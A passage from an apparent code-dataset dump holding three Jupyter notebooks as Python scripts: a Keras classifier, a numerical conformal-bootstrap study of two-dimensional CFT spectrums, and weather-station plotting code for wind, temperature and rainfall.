x_data_mat(\"/content/drive/My Drive/Colab Notebooks/train_data.mat\", 'train_data')\nx_test = x_data_mat(\"/content/drive/My Drive/Colab Notebooks/test_data.mat\", 'test_data')\ny_train = y_data_mat(\"/content/drive/My Drive/Colab Notebooks/train_data.mat\", 'train_info')\ny_test = y_data_mat(\"/content/drive/My Drive/Colab Notebooks/test_data.mat\", 'test_info')\n\n# + colab={} colab_type=\"code\" id=\"RIa7EYpCBJCE\"\nmodel = tf.keras.models.Sequential([\n tf.keras.layers.Dense(512, activation='relu'),\n tf.keras.layers.Dropout(0.2),\n tf.keras.layers.Dense(120)\n])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 442} colab_type=\"code\" id=\"uGnaLOwfm9lV\" outputId=\"41900167-5f24-4402-d582-93f28dcea8dd\"\npredictions = model(x_train[:1]).numpy()\npredictions\n\n# + colab={} colab_type=\"code\" id=\"-xrq9gMynXu5\"\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 442} colab_type=\"code\" id=\"mbtRCSFfnYOK\" outputId=\"f6ced972-061b-48bc-bc4d-07613dd862aa\"\ntf.nn.softmax(predictions).numpy()\n\n# + colab={} colab_type=\"code\" id=\"ZQmlhZMdndkJ\"\nloss_fn = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} colab_type=\"code\" id=\"FeycuTJAnhN4\" outputId=\"a5832dbf-9a2c-4cb0-c811-6eb074cb2d08\"\nloss_fn(y_train[:1], predictions).numpy()\n\n# + colab={} colab_type=\"code\" id=\"dVKGIQIDBJFs\"\nmodel.compile(optimizer='adam',\n loss=loss_fn,\n metrics=['accuracy'])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 283} colab_type=\"code\" id=\"75FjDAG3nb2Q\" outputId=\"a5ac9921-e657-4ec2-a274-f7d85fdc4d98\"\nmodel.fit(x_train, y_train, epochs=5)\n\n# + colab={} colab_type=\"code\" id=\"GOla3MKgnWSi\"\n2\n\n# + colab={} colab_type=\"code\" id=\"BCNkSViPnWVc\"\n\n\n# + colab={} colab_type=\"code\" id=\"8gveE87PBJI0\"\n\n\n# + colab={} colab_type=\"code\" id=\"3YKrFuPYBJLt\"\n\n\n# + colab={} colab_type=\"code\" id=\"YrzFgQqZA6bW\"\n\n\n# + colab={} colab_type=\"code\" id=\"63S8dMiHQxaO\"\nfrom tensorflow.keras.utils import to_categorical\n\n# + colab={} colab_type=\"code\" id=\"1YAcuwnsSHVK\"\ny_cat_train = to_categorical(y_train)\ny_cat_test = to_categorical(y_test)\n\n# + colab={} colab_type=\"code\" id=\"VpMHIW0OhfLR\"\n# x_train = x_train.reshape(12000,12000,1)\n# x_test = x_test.reshape(8580,12000,1)\n\n# + colab={} colab_type=\"code\" id=\"X9lvknMHTAK0\"\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense,Conv2D, MaxPool2D, Flatten\n\n# + [markdown] colab_type=\"text\" id=\"xDr7TaGc65Fs\"\n# from tensorflow.keras.callbacks import EarlyStopping\n\n# + colab={} colab_type=\"code\" id=\"vmucy9rffHX6\"\nmodel = tf.keras.models.Sequential([\n # tf.keras.layers.Flatten(input_shape=(12000, 1)),\n tf.keras.layers.Dense(256, activation='relu'),\n tf.keras.layers.Dropout(0.2),\n tf.keras.layers.Dense(120)\n])\n\n# + colab={} colab_type=\"code\" id=\"UZnb_wrjmiNX\"\nloss_fn = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n\n# + colab={} colab_type=\"code\" id=\"w9wrEUeTmot9\"\nmodel.compile(optimizer='adam',\n loss=loss_fn,\n metrics=['accuracy'])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} colab_type=\"code\" id=\"dTgKZodDx-py\" outputId=\"c3ef6b16-8ddf-4feb-b94b-75fc07154aea\"\ny_train.shape\nx_train.shape\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51} colab_type=\"code\" id=\"EcaXcMYPnqNe\" outputId=\"f4764799-8638-4b9f-e6e1-415d69ec5039\"\nmodel.fit(x_train, y_train, epochs=1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51} colab_type=\"code\" id=\"4zjjGqyHnstN\" outputId=\"969ba54f-ef6a-4bf5-f44f-ddfc3c48f1de\"\nmodel.evaluate(x_test, y_test, verbose=2)\n\n# + colab={} colab_type=\"code\" id=\"VVj7T8vn2rzU\"\nprobability_model = tf.keras.Sequential([\n model,\n tf.keras.layers.Softmax()\n])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} colab_type=\"code\" id=\"RgYV-10l2x4i\" outputId=\"139aa418-a436-41e0-a770-b91be856888e\"\nprobability_model(x_test[:5])\n\n# + colab={} colab_type=\"code\" id=\"wv9QAbR52z3w\"\n\n","repo_name":"LoveGadgets/machine-learning","sub_path":"dogModel.ipynb","file_name":"dogModel.ipynb","file_ext":"py","file_size_in_byte":5534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"40234881916","text":"# # Testing exacts ansatzes for spectrums of four-point functions in two-dimensional CFT\n\n# +\nfrom __future__ import division, print_function\nimport numpy, math, cmath, mpmath, time\nimport matplotlib.pyplot as plt\n\nfrom CFT import *\nfrom Blocks import Block, BlockNum\nfrom Correlators import Reflection, GMM3\n\n\n# -\n\n# ## General principles\n# Let $V_0$ be a field with dimension $\\Delta_0$ in a model with central charge $c$. Our aim is to test ansätze for the OPE $V_0V_0$, by considering crossing symmetry of the four-point function $Z(z)=\\left$. We express an ansatz as a discrete set $A$ of fields with dimensions $(\\Delta,\\bar{\\Delta})$, where $\\bar{\\Delta}-\\Delta \\in \\mathbb{Z}$. If $D_{\\Delta,\\bar{\\Delta}}$ are the corresponding structure constants, we define \n# $$\n# Z^{(i)}(z) = \\sum_{(\\Delta,\\bar{\\Delta})\\in \\mathcal S} D_{\\Delta, \\bar{\\Delta}} \\mathcal{F}_\\Delta^{(k)}(z)\\mathcal{F}_{\\bar{\\Delta}}^{(k)}(\\bar z) \\qquad (k\\in\\{s,t\\})\n# $$\n# and we want to solve the crossing symmetry equation for $D_{\\Delta,\\bar{\\Delta}}$,\n# $$\n# Z^{(s)}(z) = Z^{(t)}(z)\n# $$\n# This is a linear system of infinitely many equations (due to the dependence on $z$) and discretely many unknowns. Let us truncate it to a finite linear system. \n#\n# For any integer $N$ we define the truncated ansatz $\\mathcal S(N)$ as the $N$ fields with the lowest total dimensions $\\Delta+\\bar{\\Delta}$, in particular $\\mathcal S(0)$ is the ground state. If there are several fields with the same total dimensions, only certain values of $N$ may be reasonable, which we parametrize as $N(L)$ for $L$ a number. We make the normalization assumption that the structure constant for the ground state is one.\n#\n# We then randomly choose $N$ point $z_j$ in the square $[0.5-\\kappa, 0.5+\\kappa]\\times [-\\kappa, \\kappa]$, whose distances to the real line and to each other are at least \n# $$\n# \\epsilon = \\frac{\\kappa}{\\sqrt{N+1}}\n# $$\n# Let $D_{\\Delta,\\bar{\\Delta}}(N)$ be the unique solution of the truncated system\n# $$\n# \\sum_{(\\Delta,\\bar{\\Delta})\\in \\mathcal S(N)} D_{\\Delta, \\bar{\\Delta}}(N) \\mathcal{F}_\\Delta^{(s)}(z_j)\\mathcal{F}_{\\bar{\\Delta}}^{(s)}(\\bar z_j) = \\sum_{(\\Delta,\\bar{\\Delta})\\in \\mathcal S(N)} D_{\\Delta, \\bar{\\Delta}}(N) \\mathcal{F}_\\Delta^{(t)}(z_j)\\mathcal{F}_{\\bar{\\Delta}}^{(t)}(\\bar z_j)\n# $$\n# If our ansatz $\\mathcal S$ is correct, we expect that $D_{\\Delta,\\bar{\\Delta}}(N)$ does not depend much on the choice of the points $z_j$, and converges when $N$ becomes large. \n\n# +\nclass Points:\n \"\"\" A collection of static methods for taking care of the geometry of test points. \"\"\"\n \n @staticmethod\n def newpoint(kappa):\n \"\"\" Generating a random point in a square centered at .5, of size 2*kappa. \"\"\"\n x = numpy.random.uniform(0.5-kappa, 0.5+kappa)\n y = numpy.random.uniform(-kappa, +kappa)\n return x + y*1j\n \n @staticmethod\n def generate(N, kappa):\n \"\"\" Generating N random points in a square centered at .5, of size 2*kappa. \"\"\"\n epsilon = kappa / math.sqrt(N+1) # the minimum distance to each other and to the real line.\n points = []\n while len(points) < N:\n point = Points.newpoint(kappa)\n if abs(point.imag) < epsilon:\n continue\n for other_point in points:\n if abs(point - other_point) < epsilon:\n break\n else: \n points.append(point)\n return points \n \n @staticmethod\n def vandermonde(points):\n \"\"\" Computing the Vandermonde determinant of a collection of points. \"\"\"\n return abs(numpy.linalg.det(numpy.vander(points)))\n \n @staticmethod\n def plot(points):\n \"\"\" Plotting complex points. \"\"\"\n points = numpy.array(points)\n plt.scatter(points.real,points.imag, color ='red')\n plt.show() \n \n#if __name__ == '__main__': \n# points = Points.generate(15, .3)\n# Points.plot(points)\n\n\n# -\n\n# ## Generalized Minimal Models as test cases\n# Valuable examples are provided by Generalized Minimal Models, which involve finitely many diagonal fields.\n# Let $V_0=V_{(r,s)}$ a degenerate field, then the OPE $V_0V_0$ involves $rs$ degenerate fields. \n\n# +\nclass GMM_Spectrum:\n \"\"\" The spectrum of a Generalized Minimal Model, together with its truncations. \"\"\"\n \n def __init__(self, charge = Charge('c', .129), pair = [4,3]):\n \"\"\" We need a central charge c<1, and the indices of the field V_0. \"\"\"\n \n self.charge = charge\n self.beta = self.charge.get('beta')\n self.field = Dimension('degenerate', pair, self.charge)\n\n dims = self.field.fuse(self.field)\n self.fields = Field.sort([Field(dim, diagonal = True) for dim in dims])\n self.csts = []\n for field in self.fields:\n dim = field.dims[0]\n self.csts.append(GMM3([dim, self.field, self.field]).value**2/Reflection(dim).value)\n normalization = self.csts[0]\n self.csts = [cst / normalization for cst in self.csts]\n \n def truncate(self, N = 0, show = False):\n \"\"\" Returns the left and right (shifted) dimensions of the first N+1 fields. \"\"\"\n if N == 0 or N > len(self.fields):\n N = len(self.fields)\n fields = self.fields[:N]\n if show:\n for field in fields:\n field.display()\n return fields\n \n def display(self, N = 0, real_part = False):\n \"\"\" Displays field labels and the associated structure constants. \"\"\"\n if N == 0 or N > len(self.fields):\n N = len(self.fields)\n for i in range(N):\n cst = self.csts[i]\n if real_part:\n cst = cst.real\n print( self.fields[i].dims[0].get('degenerate'), cst )\n \nif __name__ == '__main__': \n GMM_test = GMM_Spectrum(pair = [3,2])\n for field in GMM_test.truncate(12):\n field.display()\n GMM_test.display()\n \n# -\n\n# ## Non-diagonal spectrums\n# Let us consider the non-diagonal field $\\Phi_{m,n}$ with the conformal dimensions \n# $$\n# (\\Delta,\\bar\\Delta ) = (\\Delta_{m,n},\\Delta_{m,-n})\n# $$\n# where\n# $$\n# \\Delta_{m,n} = \\frac{c-1}{24} + \\frac14 \\left(m\\beta-\\frac{n}{\\beta}\\right)^2\n# $$\n# These fields come in pairs $(\\Phi_{m,n},\\Phi_{-m,n})$ if $mn\\neq 0$. They are bosonic for $mn\\in\\mathbb{Z}$ and fermionic for $mn\\in \\mathbb{Z}+\\frac12$.\n# We consider spectrums of the type \n# $$\n# S_{X, Y} = \\bigoplus_{m\\in X}\\bigoplus_{n\\in Y} \\Phi_{m,n}\n# $$\n# where the sets $X,Y$ are of the type $a\\mathbb{Z} + b$ with $b\\in\\{0,\\frac{a}{2}\\}$ so that $X=-X$ and $Y=-Y$. To get a cutoff on such spectrums, we choose a number $\\sigma$ and consider the pairs $(m,n)\\in [0, \\frac{\\sigma}{\\sqrt{|\\Re\\beta^2|}}]\\times [0, \\frac{\\sigma}{\\sqrt{|\\Re\\frac{1}{\\beta^2}|}}]$. In this rectangle we select the pairs that also obey $\\left|\\Re(m^2\\beta^2+\\frac{n^2}{\\beta^2})\\right|\\leq \\sigma^2$.\n\n# +\nclass Another_Spectrum:\n \"\"\" A non-diagonal ansatz for the spectrum. \"\"\"\n \n def __init__(self, beta = 1.0931, spacings = [2, 1], shifts = [False , True], \n deg = False, diag = False, clip = 0):\n \"\"\" We specify the spacings and shifts of m and n respectively, which belong to sets \n of the type spacing * Z + shift. The only allowed shift is half the spacing, so that \n the resulting set is even. \n The 'deg' variable says whether to include diagonal fields that correspond to null\n vectors of degenerate fields. \n The 'diag' variable says whether to include diagonal degenerate fields of the type\n (1, n), including the identity field.\n The 'clip' variable allows removing the first few fields from the spectrum.\n \"\"\"\n \n self.spacings = spacings\n self.shifts = shifts\n self.deg = deg\n self.diag = diag\n self.clip = clip\n self.beta = beta\n self.charge = Charge('beta', beta)\n self.field = Dimension('degenerate', (0, 1/2), self.charge)\n \n def truncate(self, L = 4, show = False):\n sigma = L\n sigmas = [math.sqrt(abs((self.beta**2).real)), math.sqrt(abs((self.beta**(-2)).real))]\n ranges = []\n for i in range(2):\n shift = self.spacings[i]/2 if self.shifts[i] else 0\n if shift == int(shift):\n shift = int(shift) # We need to know whether we have integers\n ranges.append([j + shift for j in range(0, int(sigma/sigmas[i] + 1 - shift), \n self.spacings[i])])\n fields = []\n for m in ranges[0]:\n for n in ranges[1]:\n field = Field(Dimension('degenerate', (m, n), self.charge), non_diagonal = True)\n if field.total_dimension.real < sigma**2/2:\n if m != 1 or n != 0 or not self.diag: # Avoid having (1, 0) twice.\n fields.append(field) \n if m != 0 and n != 0:\n fields.append(Field(Dimension('degenerate', (m, -n), self.charge), \n non_diagonal = True))\n if self.deg and field.dims[0].hasNullVector:\n descendent = Field(Dimension('degenerate', (-m, n), self.charge), \n diagonal = True)\n if descendent.total_dimension.real < sigma**2/2:\n fields.append(descendent)\n if self.diag:\n for n in range(int(2/sigmas[1]**2+sigma/sigmas[1]+1)):\n field = Field(Dimension('degenerate', (1, n), self.charge), diagonal = True)\n if field.total_dimension.real < sigma**2/2:\n fields.append(field)\n fields = Field.sort(fields)\n fields = fields[self.clip:]\n if show:\n for field in fields:\n field.display()\n return fields\n \nif __name__ == '__main__':\n \n beta = .9\n spec = Another_Spectrum(beta = beta)\n dims = spec.truncate(5, True)\n spec = Another_Spectrum(beta = .9 + .1*1j, spacings = [2, 1], shifts = [True, False])\n dims = spec.truncate(5, True)\n spec = Another_Spectrum(beta = beta, shifts = [False, False], deg = True, diag = True)\n dims = spec.truncate(5, True)\n\n\n# -\n\n# Let us consider the spectrum where $m$ is integer while $n$ is a rational number such that $mn$ is an even integer,\n# $$\n# S = \\bigoplus_{m\\in\\mathbb{Z}} \\bigoplus_{M\\in\\mathbb{Z}} \\Phi_{m, \\frac{2M}{m}}\n# $$\n\n# +\nclass Rational_Spectrum:\n \"\"\" Another non-diagonal ansatz. \"\"\"\n\n def __init__(self, beta = .9, deg = True, diag = True):\n \"\"\" The 'deg' variable says whether to include diagonal fields that correspond to null\n vectors of degenerate fields. \n The 'diag' variable says whether to include diagonal degenerate fields of the type\n (1, n), including the identity field.\n \"\"\"\n \n self.deg = deg\n self.diag = diag\n self.beta = beta\n self.charge = Charge('beta', beta)\n self.field = Dimension('degenerate', (0, 1/2), self.charge)\n \n def truncate(self, L = 4, show = False):\n \n sigma = L\n sigmas = [math.sqrt(abs((self.beta**2).real)), math.sqrt(abs((self.beta**(-2)).real))]\n fields = []\n for m in range(1, int(sigma/sigmas[0] + 1)):\n for N in range(int(sigma/sigmas[1]*m/2) + 1):\n n = 2*N/Rational(m)\n if n == int(n):\n n = int(n)\n field = Field(Dimension('degenerate', (m, n), self.charge), non_diagonal = True)\n if field.total_dimension.real < sigma**2/2:\n if m != 1 or n != 0 or not self.diag: # Avoid having (1, 0) twice.\n fields.append(field) \n if m != 0 and n != 0:\n fields.append(Field(Dimension('degenerate', (m, -n), self.charge), \n non_diagonal = True))\n if self.deg and field.dims[0].hasNullVector:\n descendent = Field(Dimension('degenerate', (-m, n), self.charge), \n diagonal = True)\n if descendent.total_dimension.real < sigma**2/2:\n fields.append(descendent)\n for n in range(int(sigma/sigmas[1] + 1)): # special treatment of the case m = 0\n fields.append(Field(Dimension('degenerate', (0, n), self.charge), diagonal = True))\n if self.diag:\n for n in range(int(2/sigmas[1]**2+sigma/sigmas[1]+1)):\n field = Field(Dimension('degenerate', (1, n), self.charge), diagonal = True)\n if field.total_dimension.real < sigma**2/2:\n fields.append(field)\n fields = Field.sort(fields)\n if show:\n for field in fields:\n field.display()\n return fields\n \nif __name__ == '__main__':\n \n spec = Rational_Spectrum()\n dims = spec.truncate(3, True)\n\n\n# +\nclass Spectrum_Union:\n \"\"\" Union of several spectrums. \"\"\"\n \n def __init__(self, spectrums):\n \"\"\" We need a list of spectrums with the same central charge and field. \"\"\"\n \n self.field = spectrums[0].field\n self.charge = spectrums[0].charge\n self.spectrums = spectrums\n \n def truncate(self, L = 4, show = False):\n \n fields = []\n for spectrum in self.spectrums:\n fields = fields + spectrum.truncate(L)\n fields = Field.sort(fields)\n if show:\n for field in fields:\n field.display()\n return fields\n \n \nif __name__ == '__main__':\n \n beta = .611\n spectrum1 = Another_Spectrum(beta = beta, shifts = [False, False], deg = True)\n spectrum2 = Another_Spectrum(beta = beta, spacings = [4, 1], shifts = [False, True])\n spectrum3 = Another_Spectrum(beta = beta, spacings = [2, 2], \n shifts = [True, False], diag = True)\n spectrum = Spectrum_Union([spectrum1, spectrum2, spectrum3])\n spectrum.truncate(L = 3, show = True)\n\n\n# -\n\n# ## Dotsenko's spectrum at $c=0$\n# In his [recent article](https://arxiv.org/abs/1606.09162), Dotsenko finds only one channel in the fully permutation-symmetric four-point function, corresponding to the diagonal $(2,0)$ field. This field is however degenerate, with the column of singular vectors \n# $$\n# (2, 0) - (4, 0) - (8, 0) - (10, 0) - (14, 0) - (16, 0) - \\cdots\n# $$\n# If we therefore write the corresponding representation as an infinite sum of Verma modules, then the spectrum becomes non-diagonal, and can be characterized in terms of fields $\\Phi_{m,n}$ with \n# $$\n# n\\in 2\\mathbb{Z} \\quad , \\quad m - \\frac{n}{2} \\in 2\\mathbb{Z} \\quad , \\quad m\\notin 3 \\mathbb{Z}\n# $$\n\n# +\nclass Dotsenko_Spectrum:\n \n def __init__(self):\n \n self.beta = math.sqrt(2/3) + 10**(-9)\n self.charge = Charge('beta', self.beta)\n self.field = Dimension('delta', 1/16/self.beta**2, self.charge)\n \n def truncate(self, L = 4, show = False):\n \n sigma = L\n sigmas = [math.sqrt(abs((self.beta**2).real)), math.sqrt(abs((self.beta**(-2)).real))]\n\n fields = []\n for n in range(0, int(sigma/sigmas[1]), 2):\n for m in range(int(n/2) % 2, int(sigma/sigmas[0]), 2):\n if int(m/3) != m/3:\n field = Field(Dimension('degenerate', (m, n), self.charge), \n non_diagonal = True)\n if field.total_dimension.real < sigma**2/2:\n fields.append(field)\n if m != 0 and n != 0:\n fields.append(Field(Dimension('degenerate', (m, -n), self.charge), \n non_diagonal = True))\n fields = Field.sort(fields)\n if show: \n for field in fields:\n field.display()\n return fields\n \nif __name__ == '__main__':\n \n spec = Dotsenko_Spectrum()\n spec.truncate(9, True)\n\n\n# -\n\n# ## Determining the structure constants\n\n# +\nclass Struct_Csts:\n \"\"\" A determination of the structure constants. \"\"\"\n\n def __init__(self, spectrum = GMM_Spectrum(), L = 2, blocklevel = 12, \n kappa = .22, show = False):\n \n self.spectrum = spectrum\n self.blocklevel = blocklevel\n self.kappa = kappa\n self.fields = spectrum.truncate(L, show = show)\n self.indices = [field.dims[0].get('degenerate') for field in self.fields]\n self.N = len(self.fields) - 1\n \n self.field = spectrum.field\n dims = [spectrum.field for i in range(4)]\n self.block_s = Block(Nmax = self.blocklevel, dims = dims)\n self.block_t = Block(t_channel = True, Nmax = self.blocklevel, dims = dims)\n \n def blocks(self, z, reduced = True, channel = None):\n \"\"\" Computes the needed values of conformal blocks. Computes both channels\n if None, only the s-channel if True, and only the t-channel if False. \n \"\"\"\n \n q = mpmath.qfrom(m = z)\n if channel or channel is None:\n block_s = BlockNum(block = self.block_s, q = q)\n block_s_c = BlockNum(block = self.block_s, q = q.conjugate())\n if not channel or channel is None:\n block_t = BlockNum(block = self.block_t, q = q)\n block_t_c = BlockNum(block = self.block_t, q = q.conjugate())\n values = []\n \n for field in self.fields:\n value = []\n if channel or channel is None:\n value.append(block_s.value(field.dims[0], reduced) \n * block_s_c.value(field.dims[1], reduced))\n if not channel or channel is None:\n value.append(block_t.value(field.dims[0], reduced)\n *block_t_c.value(field.dims[1], reduced))\n if channel is not None:\n value = value[0]\n values.append(value)\n \n return values\n \n def constants(self, test = False):\n \"\"\" Computing the structure constants by imposing crossing symmetry. Also allows to \n test whether the supposedly correct structure constants that may come with the spectrum \n indeed solve the system. \"\"\"\n \n matrix = []\n f = [] \n points = Points.generate(self.N, self.kappa)\n \n for point in points:\n \n values = self.blocks(point)\n diffs = [value[0] - value[1] for value in values]\n f.append(- diffs.pop(0))\n matrix.append(diffs)\n \n csts = [1] + numpy.linalg.solve(matrix, f).tolist() # Includes the first constant.\n if test: \n for i in range(self.N):\n print( csts[i], self.spectrum.csts[i], abs(1 - csts[i]/self.spectrum.csts[i]) )\n self.csts = csts\n return csts\n \n def decompose(self, struct_csts, flip = False):\n \"\"\" Decomposing the s-channel four-point function computed from another Struct_Csts\n object, into t-channel conformal blocks. \n \"\"\"\n \n matrix = []\n f = []\n points = Points.generate(self.N + 1, self.kappa)\n for point in points: \n matrix.append(self.blocks(point, channel = False))\n f.append(struct_csts.values(point, flip = flip, channel = True))\n csts = numpy.linalg.solve(matrix, f).tolist()\n self.csts = csts\n return csts\n \n def values(self, z, reduced = True, flip = False, channel = None):\n \"\"\" Computes the value of the four-point function in both channels at a given point. \n Computes both channels if None, only the s-channel if True, and only the t-channel \n if False. Can flip signs of terms with odd spins.\n \"\"\"\n \n blocks = self.blocks(z, reduced, channel) \n \n channels = [0, 1] if channel is None else [0]\n values = [0 for i in channels]\n for i in range(self.N + 1):\n for j in channels:\n block = blocks[i][j] if channel is None else blocks[i]\n term = self.csts[i] * block\n if flip and int(self.fields[i].spin) % 2 == 1:\n term = - term\n values[j] += term\n \n if channel is not None:\n values = values[0]\n \n return values \n \n def display(self):\n \"\"\" Displaying fields and constants.\"\"\" \n \n for i in range(len(self.fields)):\n print( self.fields[i].dims[0].get('degenerate'), self.csts[i] )\n \n \n\nif __name__ == '__main__':\n \n spectrum = Another_Spectrum(beta = .412)\n struct = Struct_Csts(spectrum = spectrum, L = 4, show = True)\n struct.constants()\n print( struct.values(.2) )\n print( struct.values(.2, flip = True) )\n struct2 = Struct_Csts(spectrum = spectrum, L = 4)\n print( 'Original bootstrap results: ' )\n struct.display()\n print( 'Reconstruction: ' )\n struct2.decompose(struct)\n struct2.display()\n\n\n# -\n\nclass Struct_Csts_Stats:\n \"\"\" Computing four-point functions for various random drawings of sample points,\n and studying the statistics of the results. If a Struct_Csts object is given, then\n we decompose the four-point function of that object. \"\"\"\n \n def __init__(self, Nsamples = 10, z = .1, struct_csts = None, flip = False, **kwargs):\n \n self.data = []\n self.constants = []\n time0 = time.clock()\n for i in range(Nsamples):\n correl = Struct_Csts(**kwargs)\n if struct_csts is None:\n correl.constants()\n else:\n correl.decompose(struct_csts, flip = flip)\n if i == 0:\n self.indices = correl.indices\n self.data.append(correl.values(z))\n self.constants.append(correl.csts)\n self.mean = numpy.mean(self.data, 0)\n self.std = numpy.std(self.data, 0)\n self.mean_cst = numpy.mean(self.constants, 0)\n self.std_cst = numpy.std(self.constants, 0)\n self.duration = time.clock() - time0\n self.cvar = []\n for i in range(len(self.indices)):\n self.cvar.append(self.std_cst[i] / abs(self.mean_cst[i]))\n \n def display_cst(self):\n \n for i in range(len(self.indices)):\n print( self.indices[i], self.mean_cst[i], self.cvar[i] )\n \n","repo_name":"ribault/bootstrap-2d-Python","sub_path":"Spectrum_bootstrap.ipynb","file_name":"Spectrum_bootstrap.ipynb","file_ext":"py","file_size_in_byte":22714,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"16922795675","text":"import numpy as np\nimport pandas as pd\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom windrose import WindroseAxes\nimport seaborn as sns\nimport bottleneck as bn\nimport dataframe_image as dfi\nfrom butterworth import butterworth\n\n# +\n# netCDF files\nfn='C:\\\\Users\\\\odemeo\\\\Documents\\\\Field_Data_Processing\\\\DUNEX\\\\1149\\\\1149wxt-a.nc'\n\n# Export path\nfigpath1149='C:\\\\Users\\\\odemeo\\\\Documents\\\\Field_Data_Processing\\\\DUNEX\\\\1149\\\\Figures\\\\'\n\n# +\n# Read in mooring 1149\nds=xr.open_dataset(fn)\n\n# Make statistics table\ndf=ds.to_dataframe()\ndf_stats=df.describe()\ndfi.export(df_stats, figpath1149+'1149_stats.png')\n\n# +\n# Put variables into arrays\ntime=ds['time'].values\nwdir_mean=ds['WD_410'].values\nwdir_max=ds['WD_gust'].values\nwsp_min=ds['WS_min'].values\nwsp_mean=ds['WS_401'].values\nwsp_max=ds['WG_402'].values\ntemp=ds['T_21'].values\nrelh=ds['RH_910'].values\nrain=ds['Rn_963'].values\n\n# Get rid of bad rows\nnans=np.argwhere(np.isnan(wdir_mean)) # Find rows of NaNs\n\ntime=np.delete(time,nans)\nwdir_mean=np.delete(wdir_mean,nans)\nwdir_max=np.delete(wdir_max,nans)\nwsp_min=np.delete(wsp_min,nans)\nwsp_mean=np.delete(wsp_mean,nans)\nwsp_max=np.delete(wsp_max,nans)\ntemp=np.delete(temp,nans)\nrelh=np.delete(relh,nans)\nrain=np.delete(rain,nans)\n\n# +\n# Time-series plots\nfig, ax=plt.subplots(nrows=5, ncols=1, sharey=False, sharex=True, squeeze=True, figsize = (12,12))\n\n# Wind speed\nax[0].plot(time,wsp_max, '.',zorder=1,label='Max')\nax[0].plot(time,wsp_mean,'-',linewidth=2,zorder=2,label='Mean')\nax[0].plot(time,wsp_min, '.',zorder=0,label='Min')\nax[0].set_ylabel('Wind speed (m/s)',fontsize=14)\nax[0].legend()\nax[0].title.set_text('1149')\nfig.autofmt_xdate() # Rotate x-axis labels so you can read all of them\n\n# Wind direction\nax[1].plot(time,wdir_mean,'m.',linewidth=2)\nax[1].set_yticks([0.,90.,180.,270,360])\nax[1].set_ylabel('Wind direction ($^{\\circ}$T)',fontsize=14)\nax[1].grid(axis = 'y')\n\n# Temp\nax[2].plot(time,temp,'r-',linewidth=2)\nax[2].set_ylabel('Air temp. ($^{\\circ}$C)',fontsize=14)\n\n# Relative humidity\nax[3].plot(time,relh,'c-',linewidth=2)\nax[3].set_ylabel('Rel. humidity (%)',fontsize=14);\n\n# Rainfall\nax[4].plot(time,rain,'c-',linewidth=2)\nax[4].set_ylabel('Rainfall (mm)',fontsize=14);\n\nfig.savefig(figpath1149+'1149_Time_Series')\n\n# +\n# Wind rose plot\n\n# Mean wind dir/sp\nax=WindroseAxes.from_ax()\nax.bar(wdir_mean, wsp_mean, normed=True, opening=0.8, edgecolor='white')\nax.set_legend(loc=4)\nplt.title('Mean wind \"from direction\"')\nax.set_yticks(np.arange(5, 20, step=5))\nax.set_yticklabels(np.arange(5, 20, step=5))\n# ax.set_xticklabels((90, 45, 0, 315, 270, 225, 180, 135)) # Add this line bc there is an error in windrose axes\nax.set_xticklabels(['E', 'NE','N', 'NW', 'W', 'SW', 'S', 'SE']); # Add this line bc there is an error in windrose axes\nplt.savefig(figpath1149+'1149_Windrose_Mean')\n\n# Gust wind dir/sp\nax=WindroseAxes.from_ax()\nax.bar(wdir_max, wsp_max, normed=True, opening=0.8, edgecolor='white')\nax.set_legend(loc=4)\nplt.title('Gust wind \"from direction\"')\nax.set_yticks(np.arange(5, 20, step=5))\nax.set_yticklabels(np.arange(5, 20, step=5))\n#ax.set_xticklabels((90, 45, 0, 315, 270, 225, 180, 135)) # Add this line bc there is an error in windrose axes\nax.set_xticklabels(['E', 'NE','N', 'NW', 'W', 'SW', 'S', 'SE']); # Add this line bc there is an error in windrose axes\nplt.savefig(figpath1149+'1149_Windrose_Gust')\n\n# +\n# Compute joint-probability\n\n# Mean wind dir/sp\ndf_wind_mean=pd.DataFrame({'mean_windsp': wsp_mean, 'mean_winddir': wdir_mean})\nsns.jointplot(data=df_wind_mean, x=\"mean_winddir\", y=\"mean_windsp\", bins=36, kind=\"hist\", marginal_kws=dict(bins=36))\nplt.savefig(figpath1149+'1149_JointProb_Mean')\n\n# Gust wind dir/sp\ndf_wind_gust=pd.DataFrame({'gust_windsp': wsp_max, 'gust_winddir': wdir_max})\nsns.jointplot(data=df_wind_gust, x=\"gust_winddir\", y=\"gust_windsp\", bins=36, kind=\"hist\", marginal_kws=dict(bins=36))\nplt.savefig(figpath1149+'1149_JointProb_Gust')\n\n# +\n# Stick plots\n\n# Calculate wind components from speed and metereological wind direction (wind from direction)\nu_mean = -wsp_mean * np.sin(np.radians(wdir_mean))\nv_mean = -wsp_mean * np.cos(np.radians(wdir_mean))\n\nprops = {'units' : \"dots\",\n 'width' : 0.003,\n 'headwidth': 0,\n 'headlength': 0,\n 'headaxislength': 0,\n 'scale' : .08\n }\nfig, ax = plt.subplots(figsize=(18, 5))\nqiv = ax.quiver(time, [[0]*len(time)] , u_mean, v_mean, angles='uv', **props)\nplt.xticks(rotation=70)\nax.axes.yaxis.set_visible(False)\nplt.title('Mean wind')\n\n# Calculate wind components from speed and metereological wind direction (wind from direction)\nu_max = -wsp_max * np.sin(np.radians(wdir_max))\nv_max = -wsp_max * np.cos(np.radians(wdir_max))\n\nprops = {'units' : \"dots\",\n 'width' : 0.003,\n 'headwidth': 0,\n 'headlength': 0,\n 'headaxislength': 0,\n 'scale' : .08\n }\nfig, ax = plt.subplots(figsize=(18, 5))\nqiv = ax.quiver(time, 